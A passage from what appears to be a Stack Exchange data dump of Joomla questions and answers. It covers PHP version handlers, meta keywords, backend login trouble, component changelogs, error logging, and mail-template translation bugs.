  <row Id="32529" PostTypeId="2" ParentId="32509" CreationDate="2022-11-03T22:14:23.100" Score="1" Body="&lt;p&gt;You may be able to add a directive to the &lt;code&gt;.htaccess&lt;/code&gt; file in the root folder of the website to set the PHP version back to 5.6 or similar e.g.:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;AddHandler application/x-httpd-php56 .php .php5&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Alternatively, the files and database could be backed up and restored to an alternative host running an older version of PHP.&lt;/p&gt;&#xA;&lt;p&gt;Once the website is on a compatible version of PHP, you can then upgrade third party extensions and Joomla so they are compatible with PHP 7.&lt;/p&gt;&#xA;" OwnerUserId="120" LastActivityDate="2022-11-03T22:14:23.100" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32532" PostTypeId="1" AcceptedAnswerId="32533" CreationDate="2022-11-05T04:05:30.950" Score="0" ViewCount="600" Body="&lt;p&gt;I use Joomla 4.1.5, and I created my own Joomla Template following the tutorial from joomla.org. My problem is that while other metadata shows correctly on the frontend pages, the &lt;code&gt;&amp;lt;meta name=&amp;quot;keywords&amp;quot;&amp;gt;&lt;/code&gt; doesn't show, the other metadata is:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta charset=&amp;quot;utf-8&amp;quot;&amp;gt;&#xA;    &amp;lt;meta name=&amp;quot;author&amp;quot; content=&amp;quot;dhany saguntoro&amp;quot;&amp;gt;&#xA;    &amp;lt;meta name=&amp;quot;robots&amp;quot; content=&amp;quot;index, follow&amp;quot;&amp;gt;&#xA;    &amp;lt;meta name=&amp;quot;description&amp;quot; content=&amp;quot;biaya bekam menurut rasulullah SAW&amp;quot;&amp;gt;&#xA;    &amp;lt;meta name=&amp;quot;generator&amp;quot; content=&amp;quot;Joomla! - Open Source Content Management&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I might have overlooked something within my Template Codes, but I don't know the missed things.&lt;/p&gt;&#xA;&lt;p&gt;I want the  &lt;code&gt;&amp;lt;meta name=&amp;quot;keywords&amp;quot;&amp;gt;&lt;/code&gt; shows in frontend pages, the shown  &lt;code&gt;&amp;lt;meta name=&amp;quot;keywords&amp;quot;&amp;gt;&lt;/code&gt; must be data written in its own article data.&lt;/p&gt;&#xA;" OwnerUserId="14531" LastEditorUserId="12352" LastEditDate="2022-11-05T08:04:58.833" LastActivityDate="2022-11-07T07:55:32.167" Title="Joomla 4.1.5 &lt;meta name=&quot;keyword&quot;&gt; doesn't show" Tags="|templates|joomla-4.x|header|jdocument|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32533" PostTypeId="2" ParentId="32532" CreationDate="2022-11-06T19:53:16.767" Score="1" Body="&lt;p&gt;If you have created your own template...&#xA;The following code is working when posted inside &lt;code&gt;index.php&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Factory;&#xA;&#xA;$app = Factory::getApplication();    &#xA;$document = $app-&amp;gt;getDocument();&#xA;$name = 'keywords';&#xA;$value = 'school';&#xA;$document-&amp;gt;setMetadata(htmlspecialchars($name, ENT_COMPAT, 'UTF-8'), htmlspecialchars($value, ENT_COMPAT, 'UTF-8'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Isn't it?&#xA;And please, update Joomla to the latest 4.2.4&lt;/p&gt;&#xA;&lt;p&gt;EDIT: There is no option to insert the &lt;code&gt;keywords&lt;/code&gt; meta tag within Joomla 4 backend since this tag is considered irrelevant for SEO as explained in the comment under your question.&lt;/p&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="1995" LastEditDate="2022-11-07T07:55:32.167" LastActivityDate="2022-11-07T07:55:32.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32534" PostTypeId="1" CreationDate="2022-11-07T07:38:26.870" Score="1" ViewCount="36" Body="&lt;p&gt;After following JoomBoost's instructions for removing JoomProject, I can no longer log in to the website's backend, including the main administrator's account.  The Web site's frontend is still working.  All user accounts are nonfunctional.  I have access to the backend database tables.  Can anyone suggest a way to correct the problem?&lt;/p&gt;&#xA;&lt;p&gt;Tried:&#xA;I started by following JoomBoost's instructions, which can be found at &lt;a href=&quot;https://www.joomboost.com/support/documentation/59-joomproject/the-basics/118-uninstall.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomboost.com/support/documentation/59-joomproject/the-basics/118-uninstall.html&lt;/a&gt; .  I uninstalled only the JoomProject module.  After removing that module, I disabled/deactivated all of the modules having the author &amp;quot;JoomProject&amp;quot; (I think that was it.), and there were many.  That's when I discovered it was no longer possible to log back in to the backend.&lt;/p&gt;&#xA;&lt;p&gt;I then followed the Joomla instructions &amp;quot;How do you recover or reset your admin password?&amp;quot;, which are found at &lt;a href=&quot;https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/How_do_you_recover_or_reset_your_admin_password%3F&lt;/a&gt; .  I've tried methods 1 and 2 with no success.&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;New Information (Mon Nov  7 17:07:20 UTC 2022)&lt;/p&gt;&#xA;&lt;p&gt;When trying to log in with the administrator's user ID and (&lt;strong&gt;CORRECT&lt;/strong&gt;) password, Joomla seems to process the information, then return an empty log-in box.  Nothing is added to the file ./error_log.  Nothing is added to the file ./logs/error.php.&lt;/p&gt;&#xA;&lt;p&gt;When trying to log in with the administrator's user ID and (&lt;strong&gt;INCORRECT&lt;/strong&gt;) password, Joomla seems to process the information, then return an empty log-in box with the message &amp;quot;Warning&#xA;Username and password do not match or you do not have an account yet&amp;quot; at the top.  Nothing is added to the file ./error_log.  The file ./logs/error.php, has the message &amp;quot;joomlafailure Username and password do not match or you do not have an account yet. (&amp;quot;administratorID&amp;quot;)&amp;quot; appended.&lt;/p&gt;&#xA;&lt;p&gt;It appears the authentication process is working and differentiates between the correct and incorrect passwords.  Still can not log in.&lt;/p&gt;&#xA;" OwnerUserId="16696" LastEditorUserId="12352" LastEditDate="2022-11-08T02:22:01.093" LastActivityDate="2022-11-08T02:22:01.093" Title="Can no longer log into Joomla 3.x backend after removing JoomProject" Tags="|login|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32537" PostTypeId="1" AcceptedAnswerId="32730" CreationDate="2022-11-11T12:46:23.090" Score="1" ViewCount="52" Body="&lt;p&gt;I've checked the structure of my changelog for the J4 component I'm developing and compared it to other extensions, I can't see anything that I'm doing differently. When a new update is showing as available in the Updates view, when I click on Changelog, the modal only contains the heading at the top and none of the actual change information.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/5qC58.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/5qC58.png&quot; alt=&quot;Screenshot&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Here is the current iteration of the markup.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot; ?&amp;gt;&#xA;&amp;lt;changelogs&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.0&amp;lt;/version&amp;gt;&#xA;    &amp;lt;note&amp;gt;&#xA;      &amp;lt;item&amp;gt;Initial Version&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/note&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.1&amp;lt;/version&amp;gt;&#xA;    &amp;lt;fix&amp;gt;&#xA;      &amp;lt;item&amp;gt;Remove obsolete code and streamline toolbar creation. Fix permissions issue in install script&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/fix&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.2&amp;lt;/version&amp;gt;&#xA;    &amp;lt;fix&amp;gt;&#xA;      &amp;lt;item&amp;gt;Fix broken New button for directories&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/fix&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.3&amp;lt;/version&amp;gt;&#xA;    &amp;lt;fix&amp;gt;&#xA;      &amp;lt;item&amp;gt;Fix display issue for trashed directories&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/fix&amp;gt;&#xA;    &amp;lt;change&amp;gt;&#xA;      &amp;lt;item&amp;gt;Rework filter display&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/change&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.4&amp;lt;/version&amp;gt;&#xA;    &amp;lt;fix&amp;gt;&#xA;      &amp;lt;item&amp;gt;Fix delete function for directories so it removes entries and input data&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/fix&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.5&amp;lt;/version&amp;gt;&#xA;    &amp;lt;fix&amp;gt;&#xA;      &amp;lt;item&amp;gt;Fix toolbar logic to display Trash and Checkin options in correct context&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/fix&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.6&amp;lt;/version&amp;gt;&#xA;    &amp;lt;fix&amp;gt;&#xA;      &amp;lt;item&amp;gt;Remove address placeholder text and use labels instead&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/fix&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.7&amp;lt;/version&amp;gt;&#xA;    &amp;lt;addition&amp;gt;&#xA;      &amp;lt;item&amp;gt;Add sha384 checksum to updates manifest&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/addition&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.8&amp;lt;/version&amp;gt;&#xA;    &amp;lt;addition&amp;gt;&#xA;      &amp;lt;item&amp;gt;Refactoring of PHP, ensure compatibility with PHP7.4, update deprecated functionality&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/addition&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.9&amp;lt;/version&amp;gt;&#xA;    &amp;lt;addition&amp;gt;&#xA;      &amp;lt;item&amp;gt;Add PHP version check to installation script preflight function&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/addition&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.10&amp;lt;/version&amp;gt;&#xA;    &amp;lt;addition&amp;gt;&#xA;      &amp;lt;item&amp;gt;Add delete function for selected Entry items&amp;lt;/item&amp;gt;&#xA;      &amp;lt;item&amp;gt;Add language strings for standard admin actions&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/addition&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.11&amp;lt;/version&amp;gt;&#xA;    &amp;lt;addition&amp;gt;&#xA;      &amp;lt;item&amp;gt;Add state filters and action buttons for Entry items&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/addition&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.12&amp;lt;/version&amp;gt;&#xA;    &amp;lt;change&amp;gt;&#xA;      &amp;lt;item&amp;gt;Update deprecated calls for database class&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/change&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.13&amp;lt;/version&amp;gt;&#xA;    &amp;lt;addition&amp;gt;&#xA;      &amp;lt;item&amp;gt;Add directory export function&amp;lt;/item&amp;gt;&#xA;      &amp;lt;item&amp;gt;Add directory import function&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/addition&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.14&amp;lt;/version&amp;gt;&#xA;    &amp;lt;change&amp;gt;&#xA;      &amp;lt;item&amp;gt;Only show published directories above Entries listing&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/change&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;  &amp;lt;changelog&amp;gt;&#xA;    &amp;lt;element&amp;gt;com_erycdirectory&amp;lt;/element&amp;gt;&#xA;    &amp;lt;type&amp;gt;component&amp;lt;/type&amp;gt;&#xA;    &amp;lt;version&amp;gt;1.0.15&amp;lt;/version&amp;gt;&#xA;    &amp;lt;addition&amp;gt;&#xA;      &amp;lt;item&amp;gt;Add checkbox and selectbox input types&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/addition&amp;gt;&#xA;    &amp;lt;change&amp;gt;&#xA;      &amp;lt;item&amp;gt;Match drag styling for repeatable dates to draggable select items&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/change&amp;gt;&#xA;    &amp;lt;fix&amp;gt;&#xA;      &amp;lt;item&amp;gt;Fix the way drag and drop works for repeatable date fields&amp;lt;/item&amp;gt;&#xA;    &amp;lt;/fix&amp;gt;&#xA;  &amp;lt;/changelog&amp;gt;&#xA;&amp;lt;/changelogs&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15973" LastEditorUserId="12652" LastEditDate="2022-11-14T07:16:13.097" LastActivityDate="2023-01-23T15:03:17.123" Title="Viewing changelog for my component updates only displays the heading" Tags="|joomla-4.x|administrator|extension-update|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32539" PostTypeId="2" ParentId="22549" CreationDate="2022-11-11T15:15:33.777" Score="0" Body="&lt;p&gt;If trying the other solutions on this page didn't solve your problem (for users who end up with this topic), you also should check if your file permissions are correct.&lt;/p&gt;&#xA;&lt;p&gt;In my case the file 'configuration.php' didn't have the right permissions.&#xA;It should be 644.&lt;/p&gt;&#xA;&lt;p&gt;IF you still can login, but are unable to login with another username or browser, you should check:&lt;/p&gt;&#xA;&lt;p&gt;System -&amp;gt; System information -&amp;gt; Folder permissions&lt;/p&gt;&#xA;&lt;p&gt;They all must be writable, so if you see a red item in the list, you should set the permissions of that particular file to 644 (only the owner of the file - Apache / NGINX, should be able to write).&lt;/p&gt;&#xA;" OwnerUserId="11251" LastEditorUserId="12352" LastEditDate="2022-11-11T22:40:14.653" LastActivityDate="2022-11-11T22:40:14.653" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32540" PostTypeId="1" CreationDate="2022-11-11T15:21:37.143" Score="1" ViewCount="43" Body="&lt;p&gt;I have a very weird and quite frankly highly annoying issue with my website. In my error logs the fatal errors are not showing up. Which means that any deprecated errors gets logged nicely, but actual error 500 fatal errors are not getting logged in that error file. I checked all my plugins, and error reporting is set to maximum, but it still just refuses to log the fatal errors.&lt;/p&gt;&#xA;&lt;p&gt;When i make a individual PHP file on the server and deliberately code something wrong, the fatal error gets logged nicely. But inside the Joomla environment it just flat out refuses to log the fatal error.&lt;/p&gt;&#xA;&lt;p&gt;Does anyone heard of this issue before?&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2022-11-11T15:21:37.143" Title="Joomla fatal errors are not showing in the error log" Tags="|fatal-error|error|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32542" PostTypeId="1" CreationDate="2022-11-12T11:33:44.793" Score="1" ViewCount="186" Body="&lt;p&gt;After updating my Joomla site from version 3.9 to 3.10, everything is working except the responsivizer component where I am getting this error in the backend:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Call to a member function setState() on bool&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;I enabled debug mode and found that error is happening in this line of setstate:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;F:\www\4nov\administrator\components\com_responsivizer\controllers\cpanel.php:27&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;My PHP version is 7.4 before and after upgrading.&lt;/p&gt;&#xA;&lt;p&gt;I checked on PHP 7.4 in Joomla 3.9.x with a backup and there was no error.&lt;/p&gt;&#xA;&lt;p&gt;It seems that the issue is exclusive to Joomla 3.10.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;function display($cachable = false, $urlparams = false) {&#xA;    $defaultModel = $this-&amp;gt;getModel();&#xA;    $defaultModel-&amp;gt;setState('option', $this-&amp;gt;option);&#xA;    &#xA;    // Dependency injection setter on view/model for ResponsivizerRegistry instance&#xA;    $view = $this-&amp;gt;getView();&#xA;    $registry = new ResponsivizerRegistry();&#xA;    $view-&amp;gt;set('registry', $registry);&#xA;    $HTTPClient = new ResponsivizerHttp();&#xA;    $view-&amp;gt;set('httpclient', $HTTPClient);&#xA;    &#xA;    // No operations&#xA;    parent::display ($cachable); &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastEditorUserId="12352" LastEditDate="2022-11-12T12:43:05.920" LastActivityDate="2022-11-12T12:43:05.920" Title="&quot;Call to a member function setState() on bool&quot; with responsivizer component after upgrading from joomla 3.9 to 3.10" Tags="|joomla-3.x|joomla-3.10|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32543" PostTypeId="2" ParentId="12145" CreationDate="2022-11-15T08:49:04.080" Score="0" Body="&lt;p&gt;For me this is a bug. Article publishing should not be confused with filtering.&#xA;Social Media Executive should simply allow reading to a specific group of users.&lt;/p&gt;&#xA;" OwnerUserId="16712" LastActivityDate="2022-11-15T08:49:04.080" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32544" PostTypeId="1" CreationDate="2022-11-15T09:33:23.103" Score="1" ViewCount="233" Body="&lt;p&gt;While checking error logs in hosting account, finding this error on few pages of cart.json not available&#xA;i have checked source page, file and never had this kind of file or link cart.json in it&#xA;Also its from 1 ip, but from few ips&lt;/p&gt;&#xA;&lt;p&gt;anyone aware of same or can this be ignored.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    2022-11-15 09:15:54 UTC [apache][core:info] [pid 72672] [client 122.180.248.95:12148] AH00128: File does not exist: &#xA;/home/u1846-1aoqgdzbvlbl/www/xyz.com/public_html/cart.json, referer: https://www.xyz.com/index.php?option=com_easyblog&amp;amp;view=entry&amp;amp;id=1&amp;amp;Itemid=1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="5654" LastActivityDate="2022-11-15T09:33:23.103" Title="cart.json error in joomla" Tags="|joomla-3.x|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32545" PostTypeId="1" AcceptedAnswerId="32547" CreationDate="2022-11-15T18:42:29.400" Score="5" ViewCount="166" Body="&lt;p&gt;Whenever a user submits and article on one of my sites, the message that comes across has only COM_MESSAGES_NEW_MESSAGE as the subject and COM_MESSAGES_NEW_MESSAGE_BODY. I've tried several things, including updating the language overrides and modifying the email templates. Neither of those has worked, so I'm guessing there's an issue elsewhere else. I want certain users to be notified when a new article is published and saved as a draft, so they can review and publish. Is there a different way to accomplish this, or can the private message notification be fixed?&lt;/p&gt;&#xA;" OwnerUserId="6991" LastActivityDate="2022-11-18T15:11:44.077" Title="Workflow question: How to fix missing com_messages text?" Tags="|joomla-4.x|emails|administration|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32547" PostTypeId="2" ParentId="32545" CreationDate="2022-11-18T09:43:02.653" Score="3" Body="&lt;p&gt;I've got the very same problem. This currently, i.e. November 2022, is a bug in Joomla 4.&lt;/p&gt;&#xA;&lt;h4&gt;Update&lt;/h4&gt;&#xA;&lt;p&gt;There is a nicer workaround to the one I posted initially. Updating my answer to show both.&lt;/p&gt;&#xA;&lt;h2&gt;Workaround 1&lt;/h2&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to the backdend, select &lt;em&gt;System&lt;/em&gt; on the left, then &lt;em&gt;Mail Templates&lt;/em&gt; under &lt;em&gt;Templates&lt;/em&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/SQT54.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SQT54.png&quot; alt=&quot;Go to Mail Templates Customization&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Locate the mail template which is being used to notify about new articles. The title may vary depending on the backend language in use, but the &lt;strong&gt;ID&lt;/strong&gt; does not. Look for ID &lt;code&gt;com_messages.new_message&lt;/code&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/FHI0S.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/FHI0S.png&quot; alt=&quot;Locate the com_messages.new_message template&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;One after the other, click the little flag icons representing the installed languages. This will open the template in the editor&#xA;&lt;a href=&quot;https://i.stack.imgur.com/t6feP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/t6feP.png&quot; alt=&quot;Mail template in the Editor&quot; /&gt;&lt;/a&gt;&#xA;The language keys, e.g. &lt;code&gt;COM_MESSAGES_NEW_MESSAGE&lt;/code&gt; are already translated to the correct language value before the template is shown (this is the backend, and localization does work here). All you need to do is to verify, then click on &lt;code&gt;SAVE&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Optional, if curious: Have a look into the Joomla DB to see what this has done. I can't tell how you can look into the Joomla DB in your environment, but if often is the &lt;em&gt;phpAdmin&lt;/em&gt; web interface.&#xA;Locate table &lt;code&gt;&amp;lt;prefix&amp;gt;_mail_templates&lt;/code&gt;, display its content and look for the entries with &lt;code&gt;template_id&lt;/code&gt; equal to &lt;code&gt;com_messages.new_message&lt;/code&gt;.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/bNN0m.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/bNN0m.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&#xA;In my case, there are two languages installed: The standard &lt;code&gt;en-GB&lt;/code&gt;, and my local &lt;code&gt;de-CH&lt;/code&gt;, so there are now three templates, the default with no language set, and one for each language.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;The notification about new articles being submitted from the frontend will now send a message in the language set for the &lt;em&gt;backend&lt;/em&gt;.&lt;/p&gt;&#xA;&lt;h2&gt;Workaround 2&lt;/h2&gt;&#xA;&lt;p&gt;As an alternative workaround, make sure you set the &lt;em&gt;default&lt;/em&gt; language for the &lt;em&gt;Site&lt;/em&gt;, as well as the &lt;em&gt;Administrator&lt;/em&gt; to the same language.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to the backdend, select &lt;em&gt;System&lt;/em&gt; on the left, then &lt;em&gt;Language&lt;/em&gt; under &lt;em&gt;Manage&lt;/em&gt;&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GTluo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GTluo.png&quot; alt=&quot;Backend Select Language Settings&quot; /&gt;&lt;/a&gt;&#xA;Note: This is how the backend looks like at Joomla 4.2.5 with English as &lt;em&gt;Administrator&lt;/em&gt; language. It is the first entry labelled &lt;em&gt;Language&lt;/em&gt;, not the second one labelled &lt;em&gt;Content Languages&lt;/em&gt; which is to be selected.&lt;/li&gt;&#xA;&lt;li&gt;Select &lt;em&gt;Administrator&lt;/em&gt;, and &lt;em&gt;Site&lt;/em&gt; one after the other in the top drop down, and set the &lt;em&gt;Detault&lt;/em&gt; to the same language.&#xA;&lt;a href=&quot;https://i.stack.imgur.com/H3FWP.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/H3FWP.png&quot; alt=&quot;Backend Set Default Languages&quot; /&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;This is a bit awkward, since I personally like to have the backend in the Joomla standard language, English, because helpfull Internet content is mostly in refering to the English terms.&lt;/p&gt;&#xA;&lt;h2&gt;Joomla Issue Tracker item&lt;/h2&gt;&#xA;&lt;p&gt;I have filed a Joomla Issue Tracker report, and hope the bug will be fixed eventually: &lt;a href=&quot;https://issues.joomla.org/tracker/joomla-cms/39228&quot; rel=&quot;nofollow noreferrer&quot;&gt;[#39228] - Mail notifying about new article is not properly built when site and backend languages are different&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15238" LastEditorUserId="15238" LastEditDate="2022-11-18T15:11:44.077" LastActivityDate="2022-11-18T15:11:44.077" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32548" PostTypeId="1" AcceptedAnswerId="32590" CreationDate="2022-11-18T22:58:52.303" Score="3" ViewCount="1460" Body="&lt;p&gt;I'm building a simple component in Joomla 4, and after reading through some tutorials I feel like I've got it right - but I'm getting this error that I can't explain in the admin view&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;An error has occurred.&#xA;0 Invalid controller class: display&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;With logging enabled, this is what I see in everything.php:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#Fields: datetime   priority clientip   category    message&#xA;2022-11-18T17:52:12+00:00   CRITICAL ::1    error   Uncaught Throwable of type InvalidArgumentException thrown with message &amp;quot;Invalid controller class: display&amp;quot;. Stack trace: #0 [ROOT]\libraries\src\Dispatcher\ComponentDispatcher.php(142): Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;getController('display', 'Administrator', Array)&#xA;#1 [ROOT]\libraries\src\Component\ComponentHelper.php(355): Joomla\CMS\Dispatcher\ComponentDispatcher-&amp;gt;dispatch()&#xA;#2 [ROOT]\libraries\src\Application\AdministratorApplication.php(143): Joomla\CMS\Component\ComponentHelper::renderComponent('com_testcomponent')&#xA;#3 [ROOT]\libraries\src\Application\AdministratorApplication.php(186): Joomla\CMS\Application\AdministratorApplication-&amp;gt;dispatch()&#xA;#4 